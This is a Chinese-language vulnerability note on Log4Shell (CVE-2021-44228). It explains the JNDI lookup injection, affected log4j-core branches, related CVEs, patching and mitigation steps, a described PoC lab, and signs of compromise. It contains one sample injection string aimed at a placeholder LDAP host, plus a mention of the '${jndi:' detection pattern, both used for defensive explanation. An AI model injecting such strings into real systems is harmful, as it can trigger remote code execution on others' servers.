跳至正文
Wener Notes

CVE-2021-44228

约 5 分钟阅读
  • Log4Shell - Apache Log4j 2 的 JNDI Lookup 注入,可由进入日志的外部输入触发远程代码执行
  • 受影响组件:org.apache.logging.log4j:log4j-core;仅使用 log4j-api 而没有受影响 Core 实现的应用不受本 CVE 影响
  • 严重性:CVSS 3.1 10.0 Critical(Apache 官方安全页、NVD)
    • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CVE 公开:2021-12-10;发现者:阿里云安全团队陈兆军;资料核对:2026-10-23
  • CISA KEV 收录:2021-12-10;有已知在野利用和勒索软件活动记录
  • 同为 10 分的 Zerologon 影响 AD 域控认证;Log4Shell 的入口是应用日志与 Java JNDI

成因与利用条件

  • Log4j 的 Lookup 允许解析 ${...} 表达式,JNDI Lookup 把名称交给 Java Naming and Directory Interface 解析
  • 受影响的消息 Lookup 会把日志中的输入作为待解析表达式,而不只是普通文本
  • 攻击者可通过被记录的 HTTP header、URL、用户名、聊天消息、错误信息或其他业务字段控制日志内容
    • 不要求应用主动调用 JNDI,也不要求它是 Java Web server;后台任务、消息消费者和日志处理服务也可能记录外部输入
    • 应用是否要求登录、在哪一步记录输入、使用哪个日志实现,决定实际入口;PR:N 不代表任意部署都无需认证即可触达
  • JNDI 若访问攻击者控制的 LDAP/RMI 等端点,可能通过远程类加载或本地可用的对象工厂/反序列化路径执行代码
    • 成功 RCE 还受 JDK 版本、安全配置、classpath、网络出站策略和载荷路径限制
    • 较新 JDK 默认限制部分远程 codebase 加载,但不能据此认定 Log4j 已修复;JNDI 请求、泄露或其他利用路径仍需评估
  • 影响权限通常是 Java 应用进程用户,不自动等于 root 或容器逃逸
text
攻击者可控输入
  → 应用用受影响的 log4j-core 记录日志
  → 消息 Lookup 解析 JNDI 表达式
  → 访问攻击者控制的命名服务
  → 满足类加载 / 对象工厂等条件
  → 应用进程权限下执行代码

原理示意,未向任何地址发送请求:

text
${jndi:ldap://callback.invalid/example}
  • .invalid 是保留占位域名,不是实验服务;该字符串只说明输入如何进入 JNDI Lookup
  • 观察到 DNS/LDAP 回连只支持“Lookup 或出站访问已触发”,不能单独证明代码执行
  • logger.info("input={}", input) 这样的参数化日志不能单独防护本漏洞;被替换的消息仍可能经过受影响的 Lookup 路径

受影响版本

以 Apache 官方安全页的分支表为准:

Log4j 2 范围首个修复本 CVE 的版本当时对应 Java
>=2.0-beta9, <2.3.12.3.1Java 6
>=2.4, <2.12.22.12.2Java 7
>=2.13.0, <2.15.02.15.0Java 8+
  • 2.3.1、2.12.2 等是旧分支回补,不应把所有 <2.15.0 一概判为本 CVE 未修复
  • CVE Record 的文字描述包含 through 2.15.0,同时说明 2.15.0 默认禁用消息 Lookup;实际修复边界应结合官方分支表和后续 CVE-2021-45046 判断
  • Log4j 1.x 没有同样的消息 Lookup;其 JMSAppender/JNDI 问题是独立的 CVE-2021-4104,且 1.x 已结束维护
  • Logback、log4net、log4cxx 不能仅因名称、日志接口或桥接依赖判为受本 CVE 影响;需要核对最终实际加载的实现

修复与缓解

后续编号与 Log4Shell 的关系需要注意
CVE-2021-450462.15.0 在部分非默认 Thread Context Lookup 配置中修复不完整Java 8 分支进一步修复于 2.16.0,不能把 2.15.0 当作整组问题的最终目标
CVE-2021-45105自引用 Lookup 引起递归与 DoSJava 8 分支进一步修复于 2.17.0
CVE-2021-44832JDBC Appender / JNDI 配置路径,要求攻击者能修改日志配置不是本 CVE 的同一未认证输入路径;2.17.1 的发布说明列出该项修复
  • 升级应用及其供应商组件到当前仍受支持、覆盖相关公告的版本
    • 2.3.2、2.12.4、2.17.1 是 2021 年底这组问题的历史升级节点,不是 2026 年的统一最新安全版本或维护承诺
    • 商业产品、发行版回补和 shaded/重打包组件应依据供应商公告、完整构建版本及实际内容判断
  • 排查直接和传递依赖、嵌套 JAR、fat JAR、WAR/EAR、插件、容器镜像、运行中的 JVM 与 classloader;只看顶层 Maven 依赖或文件名会漏报
  • 替换依赖后重新构建、部署,并确认所有 JVM 已切换;只更新磁盘文件不能清除已加载的旧类
  • 临时措施可包括移除受影响构建中的 JndiLookup.class、限制出站 LDAP/RMI/DNS 和按业务收紧入口,但要核对具体版本与供应商兼容性
    • log4j2.formatMsgNoLookups=true 等历史开关仅覆盖特定版本和消息路径,不能当作覆盖后续全部漏洞的通用开关
    • WAF、简单匹配 ${jndi: 或仅升级 JDK 都不能代替组件修复
  • 早期 JNDI 限制修复可追溯到 commit 7fe72d62fcb9246be792b946e405e1d40d402780,涉及 JndiManager.java 的协议、LDAP 主机/类处理;这是修复过程中的一项提交,不等于完整修复集合

PoC

    • MIT, Docker Compose, Java
    • 漏洞环境与复现说明; 使用 Solr 8.11.0 / Log4j 2.14.1 展示日志输入到 JNDI 的链路
    • README 分开演示命名服务回连与代码执行,并说明直接加载字节码受 JDK 版本限制
    • 完整实验涉及启动服务、出站请求及写入演示文件;属于漏洞复现,不能当作无副作用的生产版本检查
  • 以上只做静态阅读;没有安装依赖、启动 Compose、运行载荷或验证 RCE

利用情报与排查

  • CISA AA21-356A 记录公开利用、广泛扫描、矿工和 botnet 活动;AA22-174A 进一步记录 VMware Horizon 等未修复系统中的持续入侵
  • CISA KEV 2026.10.21 快照中,本 CVE 的 dateAdded=2021-12-10、knownRansomwareCampaignUse=Known
    • 收录日期不是首次攻击日期,也不代表每个受影响实例都已入侵
  • 关联应用访问日志、异常 JNDI/DNS/LDAP/RMI 出站连接、Java 派生 shell/下载进程、临时目录与应用文件变化
  • 简单字符串匹配可能被嵌套 Lookup、编码、日志截断或异步处理绕过;无回连、无日志或无告警不能单独排除利用
  • 升级不能撤销既有入侵;有执行线索时应保留证据、评估应用可读凭据,并按事件响应流程处理持久化与凭据轮换

参考

关联信息

反向链接、本文链接的其他页面和外部资料。

参考资料

GitHub5 条
其他外链5 条
最近更新commit c5df7af编辑